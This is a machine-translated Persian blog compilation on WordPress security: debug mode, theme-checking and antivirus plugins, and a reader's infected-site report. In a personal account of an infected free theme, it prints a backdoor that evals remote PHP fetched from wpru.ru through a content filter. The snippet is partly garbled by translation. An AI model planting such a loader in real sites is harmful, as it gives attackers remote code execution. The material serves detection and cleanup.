چگونه تم وردپرس را برای ویروس ها بررسی کنیم. چگونه یک ویروس یا کد مخرب را از وردپرس حذف کنیم؟ نحوه شناسایی کدهای مخرب تعبیه شده در خود وردپرس

سلام به همه! زمان ثابت نمی ماند و هر بار بعد از توابع جدید بعدی در هسته ظاهر می شود. اگر قبلاً اکثر کارهای غیر استاندارد در آن زمان باید با کمک برنامه نویسی اضافی اجرا می شدند، اکنون وضعیت در حال تغییر است. روند واضحی از گسترش عملکرد خارج از جعبه وجود دارد.

با نگاهی به سال 2010، زمانی که در آستانه اکتشافات بودم و برای اولین بار با آن آشنا شدم، به یاد می آورم که برداشتن اولین قدم ها برایم چقدر سخت بود. برای هر کار ابتدایی، پلاگین ها را پیدا و نصب کردم، تعداد کل آنها می تواند به چند ده برسد! 😮 سپس زمان بازاندیشی و تلاش برای مینیمالیسم فرا رسید. بخش Optimization برخی از جنبه های کاری را که من برای سرعت بخشیدن به وبلاگ انجام داده ام نشان می دهد.

روشن کردن حالت اشکال زدایی وردپرس

قالب وبلاگ از همان روزهای اول دستخوش تغییراتی شده و ویژگی ها، سبک ها، کلاس های جدیدی را به دست آورده است. با به دست آوردن توده بحرانی ، او دست و پا چلفتی شد - حفظ شرایط کاری بسیار دشوار است عملکرد بالا. در نگاه اول نامرئی، تغییرات بزرگی در سال گذشته رخ داد - از چیدمان جدید و کار با ریز عکسها شروع شد و با علامت گذاری میکرو پایان یافت.

اول از همه، بعد از تبدیل ها، کنسول توسعه دهنده را در مرورگر باز کردم و خطاها و هشدارها را بررسی کردم. گام بعدی - اشکال زدایی وردپرس. حالت در فایل پیکربندی wp-config.php فعال است، خط را در آن پیدا کنید:

define("WP_DEBUG" , false );

و false را با true جایگزین کنید. خط باید به شکل زیر باشد:

define("WP_DEBUG" , true );

اگر خطا وجود داشته باشد، پیامی در محلی که در آن رخ داده است نمایش داده می شود که مشکل و فایل های آسیب دیده را توضیح می دهد. اینها ممکن است خطاهای تجزیه نحوی یا توابع منسوخ شده باشند که از هسته حذف شده یا با توابع جدید جایگزین شده اند.

این هشدار بر اساس یک واقعیت ساده است: پیام خطا حاوی است مسیر مطلقبه فایلی نسبت به دایرکتوری ریشه سرور. پیام نه تنها برای مدیر، بلکه برای همه کاربران قابل مشاهده است. یک مثال گویا:

خطای تجزیه: خطای نحو، «endif» غیرمنتظره (T_ENDIF) در /u57109403/data/www/site.ru/wp-content/themes/default/index.php در خط 23

همانطور که از مثال می بینید، مقدار u57109403 می تواند یک ورود برای دسترسی به سرور باشد و مهاجمان فقط می توانند رمز عبور را حدس بزنند. مراقب باش.

بررسی تم - ابزار تست تم وردپرس

علاوه بر عملکرد داخلی WP_DEBUG، وجود دارد ابزار خوبتوسعه دهنده، طراحی شده برای آزمایش تم در برابر استانداردهای مدرن Codex.

این افزونه به عنوان Theme Check پیاده سازی شده است که می توانید آن را از صفحه رسمی مخزن دانلود کنید.

پس از فعال سازی افزونه به صفحه آن بروید ( ظاهر- بررسی تم). با غیرفعال بودن حالت اشکال زدایی، پیامی را مشاهده خواهید کرد:

اخطار WP_DEBUG فعال نیست! لطفاً قبل از آپلود، طرح زمینه خود را با اشکال زدایی فعال کنید!

نحوه فعال کردن این حالت را در قسمت اول مقاله توضیح دادم. انجام این کار ضروری نیست، اما برای کامل بودن تحلیل بسیار مطلوب است. برای شروع چک، روی "بررسی آن" کلیک کنید.

اگر از سیریلیک در کد منبع فایل‌های تم خود استفاده می‌کنید، آماده باشید تا اطلاعاتی از این دست را در گزارش مشاهده کنید:

اطلاعات: کاراکترهای غیر قابل چاپ در فایل single.php یافت شد. ممکن است بخواهید این فایل را برای وجود خطا بررسی کنید.

با علامت زدن کادر کنار «Suppress INFO» می‌توانید نمایش چنین پیام‌هایی را غیرفعال کنید. نکته ای برای آینده: هنگام بومی سازی یک موضوع، به جای ویرایش از فایل های ترجمه ویژه ru_RU.po و ru_RU.mo استفاده کنید. منبع، جایگزینی کلمات انگلیسی با کلمات روسی.

پلاگین بررسی تمبرای توسعه دهندگان قالب وردپرس و مدیران سایت مفید خواهد بود. این گزارش بر اساس بررسی یک مجموعه استاندارد است حداقل الزاماتدر موضوع فعلی و شامل نمادهای زیر است:

  • لازم - گم شده است عملکرد مورد نیاز، کلاس یا توضیحات؛
  • هشدار - به عنوان مثال، هشدار در مورد وجود فایل های مخفی.
  • توصیه شده - توصیه هایی در مورد استفاده احتمالی از توابع جدید.
  • اطلاعات - سایر پیام های اطلاعاتی.

بسیاری از الزامات برجسته با ارجاع به کد عملکردها و گزینه ها پشتیبانی می شوند. با این حال، این گزارش در حال حاضر کاملاً آموزنده است. قطعه کوچک:

باید با احتیاط خاصی با نتایج بررسی رفتار کرد. شما نباید مطلقاً از تمام عملکردهای توصیه شده توسط افزونه استفاده کنید - در بین آنها مطمئناً مواردی وجود خواهند داشت که واقعاً قصد استفاده از آنها را ندارید.

به لطف حالت اشکال زدایی و افزونه بررسی تم، من توانستم تعدادی از مشکلات را که به دلیل قدیمی بودن ایجاد شده بودند شناسایی کنم. برخی از بهبودها در functions.php را به عنوان غیر ضروری حذف کرد یا آنها را با راه حل های استاندارد جایگزین کرد که در آخرین نسخه ها. توصیه می کنم وبلاگ های خود را بررسی کنید!

سلام دوستان. مطمئنی رایگانه قالب وردپرس، که برای سایت ها و وبلاگ های خود استفاده می کنید واقعاً ایمن است و حاوی آن نیست تهدیدات پنهانو کد مخرب؟ آیا از این موضوع کاملا مطمئن هستید؟ کاملا؟)

شما فکر می کنید که آنها قالب را اجرا کردند، پیوندهای مخفی را از آن حذف کردند و کار تمام شد. شما به طور دوره ای فایل های سایت را با یک آنتی ویروس اسکن می کنید، به ابزارهای وب مستر Yandex در برگه امنیت نگاه می کنید و با خیال راحت، پیامی را در آنجا می بینید: هیچ کد مخربی در سایت یافت نشد«.

من هم همین فکر را کردم. نمیخوام ناراحتت کنم ولی...

کد خطرناک مخفی در قالب های رایگان وردپرس

این نامه ای است که هفته گذشته از طریق پست از میزبانم دریافت کردم. اخیراً آنها یک بررسی منظم از تمام فایل های سایت برای محتوای مخرب معرفی کرده اند و با این حال این محتوا را در من پیدا کرده اند!

همه چیز با این واقعیت شروع شد که یک روز من به سایت خود رفتم و نتوانستم آن را راه اندازی کنم - یک کتیبه توهین آمیز در مورد فایل های پیدا نشده با پسوند php. با کمی تنش، رفتم تا محتویات پوشه را با سایت موجود در هاست مطالعه کنم و بلافاصله مشکلی را کشف کردم - فایل قالب fuctions.php من به functions.php.malware تغییر نام داد، که، همانطور که بود، به طور مبهم اشاره کرد - یک آنتی ویروس یا چیزی شبیه به آن در اینجا کار می کند) با وارد کردن ایمیل، گزارش فوق را از میزبان پیدا کردم.

البته اولین کاری که کردم این بود که چک کنم فایل داده شده، محتویات آن را مطالعه کرد، آن را با آنتی ویروس های مختلف اسکن کرد، ده ها مورد خدمات آنلاینبرای بررسی ویروس ها و غیره - در پایان ، من چیزی پیدا نکردم ، همه به اتفاق آرا ادعا کردند که پرونده کاملاً ایمن است. البته من شکم را به میزبان اعلام کردم و گفتم شما چیزی را به هم ریخته اید، اما در صورت امکان از آنها خواستم گزارشی از کشف یک کد مخرب ارائه کنند.

و این چیزی است که آنها به من گفتند

من به اطلاعات این کد در گوگل رفتم و به طور جدی به آن فکر کردم ...

چگونه یک قطعه کد مخرب را در قالب پیدا کنیم

همانطور که مشخص شد، این یک ترفند واقعا غیر پیش پا افتاده است که به افراد علاقه مند اجازه می دهد بدون اطلاع شما اطلاعات را به سایت شما منتقل کنند و محتوای صفحات را تغییر دهند! اگر از یک قالب رایگان استفاده می کنید، پس من به شدت توصیه می کنم برای کد زیر، functions.php خود را بررسی کنید:

add_filter('the_content', '_bloginfo', 10001);
تابع _bloginfo($content)(
جهانی $post;
if(is_single() && ( [ایمیل محافظت شده](get_option('blogoption'))) !== نادرست)(
بازگشت $co;
) در غیر این صورت $content را برگردانید.
}

حتی با دانش بسیار کم من از php، واضح است که فیلتر خاصی در حال ایجاد است که به جهانی گره خورده است. متغیر پستو محتوا فقط مسئول نمایش محتوا در صفحات پست وبلاگ است (شرط is_single). از قبل مشکوک است، نه؟ خوب، حالا بیایید ببینیم این قرار است چه چیزی را نمایش دهد کد داده شدهدر وب سایت ما

گزینه جالب وبلاگ درخواست شده در پایگاه داده نیز بسیار مشکوک به نظر می رسد. به پایگاه خود می رویم داده های MySQLو ما در آنجا جدولی به نام wp_options پیدا می کنیم، اگر پیشوندها را تغییر نداده باشید، به طور پیش فرض به این شکل خواهد بود. و در آن ما یک خط مورد علاقه خود را به نام blogoption پیدا می کنیم

چه زیبایی! گزینه زیر را مشاهده می کنیم


return eval(file_get_contents('http://wpru.ru/aksimet.php?id='.$post->ID.'&m=47&n'));

آن ها ما از یک سایت خاص (به علاوه، روسی، توجه داشته باشید) محتوایی را که می تواند هر چیزی را حمل کند، برمی گردانیم! هر تعداد پیوند، کدهای مخرب، متن تغییر یافته و غیره. خود سایت هنگام دسترسی به آن خطای دسترسی 403 می دهد که جای تعجب نیست. البته این گزینه رو هم از دیتابیس حذف کردم.

طبق اطلاعات قربانیان، دقیقاً محتوای مقاله شما معمولاً تنها با یک تغییر - به جای هر نقطه "، برگردانده می شود. یک لینک باز در متن ماسک شده بود! ضمناً این گزینه در هنگام نصب خود قالب در پایگاه داده نوشته می شود و سپس کدی که این کار را با خیال راحت انجام می دهد خود تخریب می شود. و من دو سال با چنین آشغالی زندگی کردم و در تمام این مدت حتی یک آنتی ویروس یا سرویس این تهدید را برای من فاش نکرد. صادقانه بگویم، من متوجه نشدم که آیا این تکنیک تا به حال برای من کار می کند یا پلاگین امنیتی من این امکان را مسدود کرده است (یا شاید یکی از به روز رسانی های WordPressa این حفره را بسته است)، اما هنوز هم ناخوشایند است.

اخلاقیات پنیر رایگان

پیچیدگی "مترجمان" الگوهای ما (یا کسانی که آنها را در کاتالوگ های خود پست می کنند) چگونه دوست دارید؟ این شما نیستید که لینک ها را از پاورقی قطع کنید) حیف که یادم نیست قالبم را از کجا دانلود کردم، خیلی وقت پیش بود، وگرنه چندتا دوست داشتنی می نوشتم. و اگر در آن زمان همان تجربه ای را داشتم که الان دارم، قطعا استفاده نمی کردم قالب رایگان، یا در موارد شدید از منابع ناشناس دانلود نمی شد!

خرید یک قالب رسمی با قیمت 15 تا 20 دلار در همان قالب ساده تر است و با دانستن اینکه هیچ حفره و پیوند رمزگذاری شده ای در آن وجود ندارد و حتی اگر آسیب پذیری وجود داشته باشد، توسعه دهندگان به روز رسانی را منتشر می کنند و در آرامش زندگی می کنند. این سوراخ ها بسته خواهد شد. ( به هر حال، آرتم اخیراً مقاله ای منتشر کرده است که در آن فقط در مورد قالب های برتر صحبت می کند و حتی کدهای تبلیغاتی را برای تخفیف های بی رحمانه برای علاقه مندان توزیع می کند.)

جایی که یک وب سایت وجود دارد، ممکن است ویروس وجود داشته باشد. این حقیقت ساده به شما اجازه آرامش نمی دهد و نیاز به نظارت مداوم بر "سلامت" سایت دارد. سایت های وردپرسی نیز از این قاعده مستثنی نیستند و اگر محبوبیت را در نظر بگیرید CMS وردپرس، قابل درک است که چرا آلودگی این سایت ها بیشتر از سایت های سیستم های دیگر رخ می دهد. ابزارهای زیادی برای اسکن آنتی ویروس سایت ها وجود دارد. در این مقاله در مورد یک ویروس گیر عالی برای سایت های وردپرسی - افزونه آنتی ویروس، نحوه یافتن و حذف ویروس در وردپرس با افزونه آنتی ویروس صحبت خواهم کرد.

منظور ما از ویروس در وب سایت چیست؟

ویروس در یک وب سایت به معنای هر نوع است برنامه شخص ثالث، که سایت را مجبور به کار می کند، نه همانطور که در برنامه های سیستم تعیین شده است. تعریف ویروس شامل موارد زیر است:

  • ذکر شده در سایت؛
  • توابع اجرایی رمزگذاری شده که با افزونه ها و تم ها به سایت ضربه می زنند.
  • هر اسکریپت های phpو کدهای جاوا، انجام اقداماتی که برای مالک سایت شناخته شده نیست.

نتایج عملکرد ویروس ها در سایت می تواند بسیار متنوع باشد:

  • پیوند به منابع شخص ثالث؛
  • تغییر مسیر خودکار به منابع دیگران؛
  • خواندن نشریات جدید و کپی کردن آنها در منابع شخص ثالث؛
  • تبلیغات غیر مجاز در سایت؛
  • از بین رفتن کد سایت و در نتیجه سقوط سایت.

نصب و پیکربندی افزونه آنتی ویروس

یک ابزار عالی برای بررسی یک سایت برای ویروس ها است پلاگین آنتی ویروس. این افزونه بیش از 90000 بار دانلود دارد که آخرین بار در نسخه 4.6.11 وردپرس آزمایش شده است.

می‌توانید افزونه را از کنسول سایت، در برگه افزونه‌ها → افزودن جدید، با استفاده از جستجوی افزونه بر اساس فرم نصب کنید.

نصب افزونه آنتی ویروس از پنل مدیریت

نحوه حذف ویروس در وردپرس با افزونه آنتی ویروس

مهم! قبل از کار با افزونه

این افزونه بدون ترفند کار می کند. از طریق تنظیمات → آنتی ویروسیا پلاگین → آنتی ویروس → تنظیماتوارد صفحه افزونه فعال شده می شویم.

روی "اسکن قالب های تم" کلیک کنید و نتیجه بررسی را ببینید. همه دایرکتوری های موضوع کاری در صفحه منعکس می شود. رنگ سبز به معنای عدم وجود ویروس است، رنگ قرمز نشان دهنده عفونت است.


اجرای اسکن با افزونه آنتی ویروس

اغلب کاربران ما می پرسند که آیا راهی برای بررسی سایت وردپرس آنها برای کدهای بالقوه خطرناک وجود دارد یا خیر. پاسخ به این سوال این است: بله، بله و دوباره بله. هم پولی هست و هم ابزار رایگانبرای اسکن سایت وردپرس خود برای کدهای بالقوه خطرناک یا ناخواسته. همیشه ایده خوبی است که سایت خود را با خزیدن به طور منظم بررسی کنید کد مخرب. در این مقاله، ما چندین روش برای اسکن سایت وردپرس خود برای کدهای بالقوه خطرناک را به شما نشان خواهیم داد.

بررسی کننده اصالت تم (TAC)

Theme Authenticity Checker یک افزونه رایگان است که همه شما را بررسی می کند قالب های وردپرسبرای کد بالقوه خطرناک یا ناخواسته

اغلب هدف هکرها هک کردن موضوعات برای تزریق لینک به آنهاست، بنابراین یک پلاگین یک راه عالی برای بررسی آنها است.

اسکنر بهره برداری

Exploit Scanner - یکی دیگر رایگان افزونه وردپرسکه قدرتمندتر از Theme Authenticity Checker است زیرا به شما امکان می دهد تمام فایل ها و پایگاه داده نصب وردپرس خود را برای کدهای مخرب جستجو کنید. به دنبال امضاهایی می گردد که با کدهای مخرب مطابقت دارند و آنها را شناسایی می کند.
توجه: تعداد معینی از موارد مثبت کاذب ممکن است، بنابراین لازم است بدانید که چه کاری انجام می‌دهید و مشخص کنید که آیا واقعاً بدافزار است یا همه چیز درست است.

سوکوری

Sucuri یکی از بهترین ها است بهترین اسکنرهاامنیت برای وردپرس به طور کلی آنها یک ساده دارند اسکنر رایگانسایت هایی که منبع شما را بررسی می کند تا ببیند آیا همه چیز با آن درست است یا خیر. با این حال، نسخه پولی از نظر قابلیت ها به مراتب برتر از نسخه رایگان است. به طور خلاصه، پس از نصب Sucuri، به طور خودکار سایت شما را 24 ساعت شبانه روز و 7 روز هفته برای اسکریپت های مخرب کنترل می کند. فعالیت های سایت را بررسی می کند تا در صورت بروز مشکل به موقع به شما اطلاع دهد. اگر چیزی مشکوک به نظر برسد، Sucuri IP را مسدود می کند. همچنین در صورت شروع فعالیت مشکوک در سایت، این افزونه برای شما اعلان ارسال می کند. و در نهایت این افزونه پاکسازی بدافزار را ارائه می دهد و این سرویس در قیمت سرویس گنجانده شده است (بدون توجه به بزرگ یا کوچک بودن سایت شما).

برای پروژه های خود ما یک پلن برای 5 سایت انتخاب کرده ایم که هزینه آن حدود 3 دلار برای هر سایت در ماه است. منطقی است که ماهیانه 3 دلار پرداخت کنید و نگران امنیت سایت نباشید.

به هر حال، این سرویس فقط برای مبتدیان نیست. ناشران بزرگ مانند CNN، USAToday، PC World، TechCrunch، TheNextWeb و دیگران از Sucuri استفاده می کنند. این افراد می دانند که چه کار می کنند و به همین دلیل است که مردم به سایت هایشان اعتماد می کنند.

برای همه سؤالات و بازخوردها، لطفاً در نظرات زیر بنویسید.

فراموش نکنید، در صورت امکان، به ورودی های مورد علاقه خود با تعداد ستاره ها به تشخیص خود امتیاز دهید.

    وقت بخیر، درک
    دیروز مشکلی با shopfilters.ru و زیر دامنه آن aquaphor.shopfilters.ru (هر دو در یک پایگاه داده) وجود داشت، یعنی یک کد مخرب عجیب. خود را اینگونه نشان می دهد:
    1. قابلیت آپدیت و نصب افزونه ها، کرنل و ... غیر فعال شده است.
    2. ترمزهای وحشتناک در پنل مدیریت.
    3. در این مورد، اشکالات قابل مشاهده برای مدیر تمام شده است. در زیر مشکلات مشاهده شده توسط کاربران مشتری و فقط در صورتی که از شبکه ای که ادمین از آن نیامده است به سایت مراجعه کند.
    4. وقتی روی منو، لوگو و غیره کلیک می کنید. تغییر مسیر به کازینو، قرعه کشی، و غیره گنجانده شده است.

    قبل از بروز مشکل چه اقداماتی انجام شد:
    1. پلاگین های نصب شده: ATUM Inventory Management برای WooCommerce، Woomage Store Manager WooCommerce API، Smart Store Manager For Your WooCommerce Shop، Store Manager Connector، همه از wordpress.org، یک برنامه آزمایشی api برای نظارت بر انبار را از رایانه دانلود کرده است.
    2. چند روز قبل از آن، من Smart Store Manager را برای فروشگاه WooCommerce شما از یک منبع شخص ثالث نصب کردم، پس از بررسی آن با Kaspersky و Doctorweb، نسخه معمولی، اما مثل جهنم کند شد. همانطور که قبلاً ذکر شد از wordpress.org تخریب و نصب شد.

    دیشب یکی از دوستان مشکلی را گزارش کرد.

    بعد از بروز مشکل چه اقداماتی انجام شد:
    1. اخیراً همه چیز را غیرفعال کرده است پلاگین های نصب شدهدر هر دو سایت - کمکی نکرد
    2. من همین کار را با مضامین انجام دادم - کمکی نکرد
    3. بررسی شده با خدمات: http://sitecheck.sucuri.net/:

    وب سایت: shopfilters.ru
    وضعیت: آلوده به بدافزار. اقدام فوری لازم است.
    اعتماد وب: در حال حاضر در لیست سیاه نیست (10 لیست سیاه بررسی شده)
    توصیه شدت نتیجه اسکن
    بدافزار شناسایی شده حیاتی است. سایت خود را تمیز کنید
    ISSUE DETECTED DEFINITION URL infected
    http://shopfilters.ru/404javascript.js (مشاهده بارگیری)
    وب سایت بدافزار rogueads.unwanted_ads?1 http://shopfilters.ru/dostavka/ (مشاهده بارگذاری بار)
    وب سایت بدافزار rogueads.unwanted_ads?1 http://shopfilters.ru/my-account/ (مشاهده بارگذاری بار)
    وب سایت بدافزار rogueads.unwanted_ads?1 http://shopfilters.ru (مشاهده بارگیری)
    بدافزار معروف جاوا اسکریپت جزئیات: http://labs.sucuri.net/db/malware/rogueads.unwanted_ads?1

    پیوند دائمی گزارش https://rescan.pro/result.php؟
    کد خطرناک در صفحه ✔ هیچ مشکلی پیدا نشد
    ویروس‌ها در اسکریپت‌ها ✔ هیچ مشکلی پیدا نشد
    درج هایی از سایت های خطرناک ✖